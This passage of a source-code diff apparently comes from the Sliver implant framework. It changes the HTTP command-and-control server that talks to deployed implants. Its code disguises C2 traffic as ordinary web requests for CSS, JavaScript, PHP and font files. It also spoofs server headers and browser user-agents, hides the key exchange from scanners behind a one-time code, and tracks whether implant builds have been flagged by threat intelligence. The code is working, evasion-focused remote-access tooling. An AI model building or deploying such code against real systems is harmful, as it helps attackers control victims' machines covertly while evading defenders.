+	index := insecureRand.Intn(len(cookies))
+	return cookies[index]
+}
+
 func (s *SliverHTTPC2) getPoweredByHeader() string {
 	if s.poweredBy == "" {
-		s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
-			insecureRand.Intn(3), insecureRand.Intn(17))
+		switch insecureRand.Intn(1) {
+		case 0:
+			s.poweredBy = fmt.Sprintf("PHP/8.0.%d", insecureRand.Intn(10))
+		default:
+			s.poweredBy = fmt.Sprintf("PHP/7.%d.%d", insecureRand.Intn(4), insecureRand.Intn(20))
+		}
 	}
 	return s.poweredBy
 }
@@ -167,6 +194,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
 			active: &map[string]*HTTPSession{},
 			mutex:  &sync.RWMutex{},
 		},
+		EnforceOTP: true,
 	}
 	server.HTTPServer = &http.Server{
 		Addr:         conf.Addr,
@@ -257,17 +285,17 @@ func (s *SliverHTTPC2) router() *mux.Router {
 	// Procedural C2
 	// ===============
 	// .txt = rsakey
-	// .jsp = start
-	// .php = session
-	//  .js = poll
+	// 1.phtml / .php = start / session
+	// .js = poll
 	// .png = stop
 	// .woff = sliver shellcode
 
 	router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
-	router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
+	router.HandleFunc("/{rpath:.*\\.phtml$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
 	router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
 	router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
 	router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
+
 	// Can't force the user agent on the stager payload
 	// Request from msf stager payload will look like:
 	// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
@@ -291,18 +319,64 @@ func (s *SliverHTTPC2) router() *mux.Router {
 
 // This filters requests that do not have a valid nonce
 func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
-	qNonce := req.URL.Query().Get("_")
-	nonce, err := strconv.Atoi(qNonce)
+	nonce, err := getNonceFromURL(req.URL)
 	if err != nil {
-		httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
+		httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
 		return false // NaN
 	}
+	return true
+}
+
+func getNonceFromURL(reqURL *url.URL) (int, error) {
+	qNonce := ""
+	for arg, values := range reqURL.Query() {
+		if len(arg) == 1 {
+			qNonce = digitsOnly(values[0])
+			break
+		}
+	}
+	if qNonce == "" {
+		httpLog.Warnf("Nonce not found in request", qNonce)
+		return 0, ErrMissingNonce
+	}
+	nonce, err := strconv.Atoi(qNonce)
+	if err != nil {
+		httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
+		return 0, err
+	}
+	httpLog.Debugf("Request nonce = %d", nonce)
 	_, _, err = encoders.EncoderFromNonce(nonce)
 	if err != nil {
-		httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
-		return false // Not a valid encoder
+		httpLog.Warnf("Invalid nonce (%s)", err)
+		return 0, err
 	}
-	return true
+	return nonce, nil
+}
+
+func getOTPFromURL(reqURL *url.URL) (string, error) {
+	otpCode := ""
+	for arg, values := range reqURL.Query() {
+		if len(arg) == 2 {
+			otpCode = digitsOnly(values[0])
+			break
+		}
+	}
+	if otpCode == "" {
+		httpLog.Warnf("OTP not found in request", otpCode)
+		return "", ErrMissingNonce
+	}
+	httpLog.Debugf("Request OTP = %s", otpCode)
+	return otpCode, nil
+}
+
+func digitsOnly(value string) string {
+	var buf bytes.Buffer
+	for _, char := range value {
+		if unicode.IsDigit(char) {
+			buf.WriteRune(char)
+		}
+	}
+	return buf.String()
 }
 
 func loggingMiddleware(next http.Handler) http.Handler {
@@ -357,8 +431,23 @@ func default404Handler(resp http.ResponseWriter, req *http.Request) {
 // [ HTTP Handlers ] ---------------------------------------------------------------
 
 func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
-	qNonce := req.URL.Query().Get("_")
-	nonce, err := strconv.Atoi(qNonce)
+	httpLog.Info("Public key request")
+	if s.EnforceOTP {
+		otpCode, err := getOTPFromURL(req.URL)
+		if err != nil {
+			resp.WriteHeader(404)
+			return
+		}
+		valid, err := cryptography.ValidateTOTP(otpCode)
+		if err != nil {
+			httpLog.Warnf("Failed to validate OTP %s", err)
+		}
+		if !valid {
+			resp.WriteHeader(404)
+			return
+		}
+	}
+	nonce, _ := getNonceFromURL(req.URL)
 	certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
 	if err != nil {
 		httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
@@ -371,11 +460,27 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
 }
 
 func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
+	httpLog.Info("Start session request")
+	if s.EnforceOTP {
+		otpCode, err := getOTPFromURL(req.URL)
+		if err != nil {
+			resp.WriteHeader(404)
+			return
+		}
+		valid, err := cryptography.ValidateTOTP(otpCode)
+		if err != nil {
+			httpLog.Warnf("Failed to validate OTP %s", err)
+		}
+		if !valid {
+			resp.WriteHeader(404)
+			return
+		}
+	}
 
 	// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
 	publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
 	if err != nil {
-		httpLog.Info("Failed to fetch rsa private key")
+		httpLog.Warn("Failed to fetch rsa private key")
 		resp.WriteHeader(404)
 		return
 	}
@@ -386,14 +491,18 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
 	privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
 	privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
 
-	nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
+	nonce, _ := getNonceFromURL(req.URL)
 	_, encoder, err := encoders.EncoderFromNonce(nonce)
 	if err != nil {
-		httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
+		httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
 		resp.WriteHeader(404)
 		return
 	}
-	body, _ := ioutil.ReadAll(req.Body)
+	body, err := ioutil.ReadAll(req.Body)
+	if err != nil {
+		httpLog.Errorf("Failed to read body %s", err)
+		resp.WriteHeader(404)
+	}
 	data, err := encoder.Decode(body)
 	if err != nil {
 		httpLog.Errorf("Failed to decode body %s", err)
@@ -403,7 +512,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
 
 	sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
 	if err != nil {
-		httpLog.Info("RSA decryption failed")
+		httpLog.Error("RSA decryption failed")
 		resp.WriteHeader(404)
 		return
 	}
@@ -432,7 +541,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
 	}
 	http.SetCookie(resp, &http.Cookie{
 		Domain:   s.Conf.Domain,
-		Name:     sessionCookieName,
+		Name:     s.getCookieName(),
 		Value:    httpSession.ID,
 		Secure:   true,
 		HttpOnly: true,
@@ -441,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
 }
 
 func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
-
+	httpLog.Info("Session request")
 	httpSession := s.getHTTPSession(req)
 	if httpSession == nil {
 		httpLog.Infof("No session with id %#v", httpSession.ID)
@@ -449,7 +558,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
 		return
 	}
 
-	nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
+	nonce, _ := getNonceFromURL(req.URL)
 	_, encoder, err := encoders.EncoderFromNonce(nonce)
 	if err != nil {
 		httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
@@ -489,7 +598,9 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
 		handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
 	}
 	resp.WriteHeader(200)
+
 	// TODO: Return random data?
+
 }
 
 func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
@@ -501,7 +612,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
 	}
 
 	// We already know we have a valid nonce because of the middleware filter
-	nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
+	nonce, _ := getNonceFromURL(req.URL)
 	_, encoder, _ := encoders.EncoderFromNonce(nonce)
 	select {
 	case envelope := <-httpSession.Session.Send:
@@ -556,13 +667,10 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
 
 func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
 	for _, cookie := range req.Cookies() {
-		if cookie.Name == sessionCookieName {
-			httpSession := s.HTTPSessions.Get(cookie.Value)
-			if httpSession != nil {
-				httpSession.Session.UpdateCheckin()
-				return httpSession
-			}
-			return nil
+		httpSession := s.HTTPSessions.Get(cookie.Value)
+		if httpSession != nil {
+			httpSession.Session.UpdateCheckin()
+			return httpSession
 		}
 	}
 	return nil // No valid cookie names

server/configs/http-c2.go

@@ -0,0 +1,302 @@
+package configs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	insecureRand "math/rand"
+	"os"
+	"path"
+
+	"github.com/bishopfox/sliver/server/assets"
+	"github.com/bishopfox/sliver/server/log"
+)
+
+const (
+	httpC2ConfigFileName = "http-c2.json"
+	chromeBaseVer        = 89
+)
+
+// HTTPC2Config - Parent config file struct for implant/server
+type HTTPC2Config struct {
+	ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
+	ServerConfig  *HTTPC2ServerConfig  `json:"server_config"`
+}
+
+// GenerateUserAgent - Generate a user-agent depending on OS/Arch
+func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
+	return h.generateChromeUserAgent(goos, goarch)
+}
+
+func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
+	if h.ImplantConfig.UserAgent == "" {
+		switch goos {
+		case "windows":
+			switch goarch {
+			case "amd64":
+				return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
+			}
+
+		case "linux":
+			switch goarch {
+			case "amd64":
+				return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
+			}
+
+		case "darwin":
+			switch goarch {
+			case "arm64":
+				fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
+			case "amd64":
+				return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
+			}
+
+		}
+	} else {
+		return h.ImplantConfig.UserAgent
+	}
+
+	// Default is a generic Windows/Chrome
+	return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
+}
+
+// ChromeVer - Generate a random Chrome user-agent
+func (h *HTTPC2Config) ChromeVer() string {
+	return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
+}
+
+// RandomImplantConfig - Randomly generate a config
+func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
+	return &HTTPC2ImplantConfig{
+		UserAgent: h.ImplantConfig.UserAgent,
+
+		MaxFiles: h.ImplantConfig.MaxFiles,
+		MaxPaths: h.ImplantConfig.MaxPaths,
+
+		CssFiles: h.ImplantConfig.RandomCssFiles(),
+		CssPaths: h.ImplantConfig.RandomCssPaths(),
+
+		JsFiles: h.ImplantConfig.RandomJsFiles(),
+		JsPaths: h.ImplantConfig.RandomJsPaths(),
+
+		TxtFiles: h.ImplantConfig.RandomTxtFiles(),
+		TxtPaths: h.ImplantConfig.RandomTxtPaths(),
+
+		PngFiles: h.ImplantConfig.RandomPngFiles(),
+		PngPaths: h.ImplantConfig.RandomPngPaths(),
+
+		PhpFiles: h.ImplantConfig.RandomPhpFiles(),
+		PhpPaths: h.ImplantConfig.RandomPhpPaths(),
+	}
+}
+
+// HTTPC2ServerConfig - Server configuration options
+type HTTPC2ServerConfig struct {
+	Headers []string `json:"headers"`
+	Cookies []string `json:"cookies"`
+}
+
+// HTTPC2ImplantConfig - Implant configuration options
+// Procedural C2
+// ===============
+// .txt = rsakey
+// .css = start
+// .php = session
+//  .js = poll
+// .png = stop
+// .woff = sliver shellcode
+type HTTPC2ImplantConfig struct {
+	UserAgent     string   `json:"user_agent"`
+	URLParameters []string `json:"url_parameters"`
+	Headers       []string `json:"headers"`
+
+	MaxFiles int `json:"max_files"`
+	MinFiles int `json:"min_files"`
+	MaxPaths int `json:"max_paths"`
+	MinPaths int `json:"min_paths"`
+
+	// CSS files and paths
+	CssFiles []string `json:"css_files"`
+	CssPaths []string `json:"css_paths"`
+
+	// JS files and paths
+	JsFiles []string `json:"js_files"`
+	JsPaths []string `json:"js_paths"`
+
+	// Txt files and paths
+	TxtFiles []string `json:"txt_files"`
+	TxtPaths []string `json:"txt_paths"`
+
+	// Png files and paths
+	PngFiles []string `json:"png_files"`
+	PngPaths []string `json:"png_paths"`
+
+	// Php files and paths
+	PhpFiles []string `json:"php_files"`
+	PhpPaths []string `json:"php_paths"`
+}
+
+func (h *HTTPC2ImplantConfig) RandomCssFiles() []string {
+	min := h.MinFiles
+	if min < 1 {
+		min = 1
+	}
+	return h.randomSample(h.CssFiles, min, h.MaxFiles)
+}
+
+func (h *HTTPC2ImplantConfig) RandomCssPaths() []string {
+	return h.randomSample(h.CssPaths, h.MinPaths, h.MaxPaths)
+}
+
+func (h *HTTPC2ImplantConfig) RandomJsFiles() []string {
+	min := h.MinFiles
+	if min < 1 {
+		min = 1
+	}
+	return h.randomSample(h.JsFiles, min, h.MaxFiles)
+}
+
+func (h *HTTPC2ImplantConfig) RandomJsPaths() []string {
+	return h.randomSample(h.JsPaths, h.MinPaths, h.MaxPaths)
+}
+
+func (h *HTTPC2ImplantConfig) RandomTxtFiles() []string {
+	min := h.MinFiles
+	if min < 1 {
+		min = 1
+	}
+	return h.randomSample(h.TxtFiles, min, h.MaxFiles)
+}
+
+func (h *HTTPC2ImplantConfig) RandomTxtPaths() []string {
+	return h.randomSample(h.TxtPaths, h.MinPaths, h.MaxPaths)
+}
+
+func (h *HTTPC2ImplantConfig) RandomPngFiles() []string {
+	min := h.MinFiles
+	if min < 1 {
+		min = 1
+	}
+	return h.randomSample(h.PngFiles, min, h.MaxFiles)
+}
+
+func (h *HTTPC2ImplantConfig) RandomPngPaths() []string {
+	return h.randomSample(h.PngPaths, h.MinPaths, h.MaxPaths)
+}
+
+func (h *HTTPC2ImplantConfig) RandomPhpFiles() []string {
+	min := h.MinFiles
+	if min < 1 {
+		min = 1
+	}
+	return h.randomSample(h.PhpFiles, min, h.MaxFiles)
+}
+
+func (h *HTTPC2ImplantConfig) RandomPhpPaths() []string {
+	return h.randomSample(h.PhpPaths, h.MinPaths, h.MaxPaths)
+}
+
+func (h *HTTPC2ImplantConfig) randomSample(values []string, min int, max int) []string {
+	count := insecureRand.Intn(len(values))
+	if count < min {
+		count = min
+	}
+	if max < count {
+		count = max
+	}
+	sample := []string{}
+	for i := 0; len(sample) < count; i++ {
+		index := (count + i) % len(values)
+		sample = append(sample, values[index])
+	}
+	return sample
+}
+
+var (
+	httpC2ConfigLog = log.NamedLogger("config", "http-c2")
+
+	defaultHTTPC2Config = &HTTPC2Config{
+		ServerConfig: &HTTPC2ServerConfig{
+			Cookies: []string{"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS"},
+		},
+		ImplantConfig: &HTTPC2ImplantConfig{
+			UserAgent: "", // Blank string is rendered as randomized platform user-agent
+			MaxFiles:  8,
+			MinFiles:  2,
+			MaxPaths:  8,
+			MinPaths:  2,
+
+			CssFiles: []string{"bootstrap.css", "bootstrap.min.css", "vendor.css"},
+			CssPaths: []string{"css", "styles", "style", "stylesheets", "stylesheet"},
+
+			JsFiles: []string{"bootstrap.js", "bootstrap.min.js", "jquery.min.js", "jquery.js"},
+			JsPaths: []string{"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts", "javascript"},
+
+			TxtFiles: []string{"robots.txt", "sample.txt", "readme.txt", "example.txt"},
+			TxtPaths: []string{"static", "www", "assets", "text", "docs", "sample"},
+
+			PngFiles: []string{"favicon.png", "sample.png", "example.png"},
+			PngPaths: []string{"static", "www", "assets", "images", "icons"},
+
+			PhpFiles: []string{"login.php", "signin.php", "api.php", "samples.php", "rpc.php"},
+			PhpPaths: []string{"php", "api", "upload", "actions", "rest", "v1", "async"},
+		},
+	}
+)
+
+// GetHTTPC2ConfigPath - File path to http-c2.json
+func GetHTTPC2ConfigPath() string {
+	appDir := assets.GetRootAppDir()
+	httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
+	return httpC2ConfigPath
+}
+
+// GetHTTPC2Config - Get the current HTTP C2 config
+func GetHTTPC2Config() *HTTPC2Config {
+	configPath := GetHTTPC2ConfigPath()
+	if _, err := os.Stat(configPath); os.IsNotExist(err) {
+		err = generateDefaultConfig(configPath)
+		if err != nil {
+			httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
+			return defaultHTTPC2Config
+		}
+	}
+	data, err := ioutil.ReadFile(configPath)
+	if err != nil {
+		httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
+		return defaultHTTPC2Config
+	}
+	config := &HTTPC2Config{}
+	err = json.Unmarshal(data, config)
+	if err != nil {
+		httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
+		return defaultHTTPC2Config
+	}
+	return config
+}
+
+func generateDefaultConfig(saveTo string) error {
+	data, err := json.MarshalIndent(defaultHTTPC2Config, "", "    ")
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(saveTo, data, 0600)
+}

server/core/sessions.go

@@ -36,7 +36,7 @@ var (
 		sessions: map[uint32]*Session{},
 		mutex:    &sync.RWMutex{},
 	}
-	hiveID = uint32(0)
+	rollingSessionID = uint32(0)
 
 	// ErrUnknownMessageType - Returned if the implant did not understand the message for
 	//                         example when the command is not supported on the platform
@@ -211,8 +211,8 @@ func (s *sessions) Remove(sessionID uint32) {
 
 // NextSessionID - Returns an incremental nonce as an id
 func NextSessionID() uint32 {
-	newID := hiveID + 1
-	hiveID++
+	newID := rollingSessionID + 1
+	rollingSessionID++
 	return newID
 }
 

server/cryptography/cryptography.go

@@ -30,6 +30,14 @@ import (
 	"crypto/sha256"
 	"errors"
 	"io"
+	"io/ioutil"
+	"os"
+	"path"
+	"time"
+
+	"github.com/bishopfox/sliver/server/assets"
+	"github.com/pquerna/otp"
+	"github.com/pquerna/otp/totp"
 )
 
 const (
@@ -38,11 +46,15 @@ const (
 
 	// GCMNonceSize - 96 bit nonces for GCM
 	GCMNonceSize = 12
+
+	// TOTPDigits - Number of digits in the TOTP
+	TOTPDigits = 8
+	TOTPPeriod = uint(30)
 )
 
 var (
 	// ErrInvalidKeyLength - Invalid key length
-	ErrInvalidKeyLength = errors.New("Invalid length")
+	ErrInvalidKeyLength = errors.New("invalid length")
 )
 
 // AESKey - 256 bit key
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
 	}
 	return plaintext, nil
 }
+
+// TOTPOptions - Customized totp validation options
+func TOTPOptions() totp.ValidateOpts {
+	return totp.ValidateOpts{
+		Digits:    TOTPDigits,
+		Algorithm: otp.AlgorithmSHA256,
+		Period:    TOTPPeriod,
+		Skew:      uint(1),
+	}
+}
+
+// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
+// is for the implant to prove it was generated by this server. To that end we simply
+// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
+// you'd have to extract the totp secret from a binary generated by the server.
+func TOTPServerSecret() (string, error) {
+	totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
+	if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
+		return totpGenerateSecret(totpSecretPath)
+	} else {
+		data, err := ioutil.ReadFile(totpSecretPath)
+		return string(data), err
+	}
+}
+
+// ValidateTOTP - Validate a TOTP code
+func ValidateTOTP(code string) (bool, error) {
+	secret, err := TOTPServerSecret()
+	if err != nil {
+		return false, err
+	}
+	valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
+	if err != nil {
+		return false, err
+	}
+	return valid, nil
+}
+
+func totpGenerateSecret(saveTo string) (string, error) {
+	otpSecret, err := totp.Generate(totp.GenerateOpts{
+		Issuer:      "foo",
+		AccountName: "bar",
+		Digits:      TOTPDigits,
+		Algorithm:   otp.AlgorithmSHA256,
+		Period:      TOTPPeriod,
+	})
+	if err != nil {
+		return "", err
+	}
+	secret := otpSecret.Secret()
+	err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
+	return secret, err
+}

server/db/helpers.go

@@ -25,6 +25,7 @@ package db
 
 import (
 	"github.com/bishopfox/sliver/server/db/models"
+	"github.com/gofrs/uuid"
 	"gorm.io/gorm"
 )
 
@@ -33,6 +34,18 @@ var (
 	ErrRecordNotFound = gorm.ErrRecordNotFound
 )
 
+// ImplantConfigByID - Fetch implant build by name
+func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
+	config := models.ImplantConfig{}
+	err := Session().Where(&models.ImplantConfig{
+		ID: uuid.FromStringOrNil(id),
+	}).First(&config).Error
+	if err != nil {
+		return nil, err
+	}
+	return &config, err
+}
+
 // ImplantBuilds - Return all implant builds
 func ImplantBuilds() ([]*models.ImplantBuild, error) {
 	builds := []*models.ImplantBuild{}

server/db/models/implant.go

@@ -34,8 +34,12 @@ type ImplantBuild struct {
 	CreatedAt time.Time `gorm:"->;<-:create;"`
 
 	Name string `gorm:"unique;"`
-	// Checksum stores the MD5 sum of an implant binary
-	Checksum string
+
+	// Checksums stores of the implant binary
+	MD5    string
+	SHA1   string
+	SHA256 string
+
 	// Burned indicates whether the implant
 	// has been seen on threat intel platforms
 	Burned bool
@@ -68,7 +72,6 @@ type ImplantConfig struct {
 	GOARCH string
 
 	// Standard
-	// Name                string
 	CACert              string
 	Cert                string
 	Key                 string
@@ -127,6 +130,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
 // ToProtobuf - Convert ImplantConfig to protobuf equiv
 func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
 	config := &clientpb.ImplantConfig{
+		ID: ic.ID.String(),
+
 		GOOS:   ic.GOOS,
 		GOARCH: ic.GOARCH,
 

server/generate/binaries.go

@@ -35,6 +35,8 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/server/assets"
 	"github.com/bishopfox/sliver/server/certs"
+	"github.com/bishopfox/sliver/server/configs"
+	"github.com/bishopfox/sliver/server/cryptography"
 	"github.com/bishopfox/sliver/server/db/models"
 	"github.com/bishopfox/sliver/server/gogo"
 	"github.com/bishopfox/sliver/server/log"
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
 	config.Cert = string(sliverCert)
 	config.Key = string(sliverKey)
 
+	otpSecret, err := cryptography.TOTPServerSecret()
+	if err != nil {
+		return "", err
+	}
+
 	// Generate wg Keys as needed
 	if config.WGc2Enabled {
 		implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
 		config.WGServerPubKey = serverPubKey
 	}
 
+	err = ImplantConfigSave(config)
+	if err != nil {
+		return "", err
+	}
+
 	// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
 	binDir := path.Join(projectGoPathDir, "bin")
 	os.MkdirAll(binDir, 0700)
@@ -599,17 +611,32 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
 		buf := bytes.NewBuffer([]byte{})
 		buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
 
-		// Render code
-		sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
+		// --------------
+		// Render Code
+		// --------------
+		sliverCodeTmpl := template.New("sliver")
+		sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
+			"GenerateUserAgent": func() string {
+				return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
+			},
+		}).Parse(sliverGoCode)
+		if err != nil {
+			buildLog.Errorf("Template parsing error %s", err)
+			return "", err
+		}
 		err = sliverCodeTmpl.Execute(buf, struct {
-			Name   string
-			Config *models.ImplantConfig
+			Name         string
+			Config       *models.ImplantConfig
+			OTPSecret    string
+			HTTPC2Config *configs.HTTPC2ImplantConfig
 		}{
 			name,
 			config,
+			otpSecret,
+			configs.GetHTTPC2Config().RandomImplantConfig(),
 		})
 		if err != nil {
-			buildLog.Error(err)
+			buildLog.Errorf("Template execution error %s", err)
 			return "", err
 		}
 

server/generate/donut.go

@@ -6,7 +6,7 @@ import (
 	"path/filepath"
 	"strings"
 
-	"github.com/binject/go-donut/donut"
+	"github.com/Binject/go-donut/donut"
 )
 
 // DonutShellcodeFromFile returns a Donut shellcode for the given PE file

server/generate/implants.go

@@ -20,6 +20,8 @@ package generate
 
 import (
 	"crypto/md5"
+	"crypto/sha1"
+	"crypto/sha256"
 	"encoding/hex"
 	"errors"
 	"fmt"
@@ -34,6 +36,7 @@ import (
 	"github.com/bishopfox/sliver/server/db/models"
 	"github.com/bishopfox/sliver/server/log"
 	"github.com/bishopfox/sliver/server/watchtower"
+	"gorm.io/gorm/clause"
 )
 
 var (
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
 	return buildsDir, nil
 }
 
+// ImplantConfigSave - Save only the config to the database
+func ImplantConfigSave(config *models.ImplantConfig) error {
+	dbSession := db.Session()
+	result := dbSession.Clauses(clause.OnConflict{
+		UpdateAll: true,
+	}).Create(&config)
+	if result.Error != nil {
+		return result.Error
+	}
+	return nil
+}
+
 // ImplantBuildSave - Saves a binary file into the database
 func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
 	rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
 	if err != nil {
 		return err
 	}
-	sum := md5.Sum(data)
-	hash := hex.EncodeToString(sum[:])
+	md5Hash, sha1Hash, sha256Hash := computeHashes(data)
 	buildsDir, err := getBuildsDir()
 	if err != nil {
 		return err
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
 	implantBuild := &models.ImplantBuild{
 		Name:          name,
 		ImplantConfig: (*config),
-		Checksum:      hash,
+		MD5:           md5Hash,
+		SHA1:          sha1Hash,
+		SHA256:        sha256Hash,
 	}
 	watchtower.AddImplantToWatchlist(implantBuild)
 	result := dbSession.Create(&implantBuild)
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
 	return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
 }
 
+func computeHashes(data []byte) (string, string, string) {
+	md5Sum := md5.Sum(data)
+	md5Hash := hex.EncodeToString(md5Sum[:])
+	sha1Sum := sha1.Sum(data)
+	sha1Hash := hex.EncodeToString(sha1Sum[:])
+	sha256Sum := sha256.Sum256(data)
+	sha256Hash := hex.EncodeToString(sha256Sum[:])
+	return md5Hash, sha1Hash, sha256Hash
+}
+
 // ImplantFileFromBuild - Saves a binary file into the database
 func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
 	buildsDir, err := getBuildsDir()

server/handlers/sessions.go

@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
 }
 
 func registerSessionHandler(session *core.Session, data []byte) {
-	register := &sliverpb.Register{}
-	err := proto.Unmarshal(data, register)
-	if err != nil {
-		handlerLog.Warnf("error decoding message: %v", err)
+	if session == nil {
 		return
 	}
 
-	if session == nil {
+	register := &sliverpb.Register{}
+	err := proto.Unmarshal(data, register)
+	if err != nil {
+		handlerLog.Errorf("Error decoding message: %s", err)
 		return
 	}
 
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
 	// Parse Register UUID
 	sessionUUID, err := uuid.Parse(register.Uuid)
 	if err != nil {
-		// Generate Random UUID
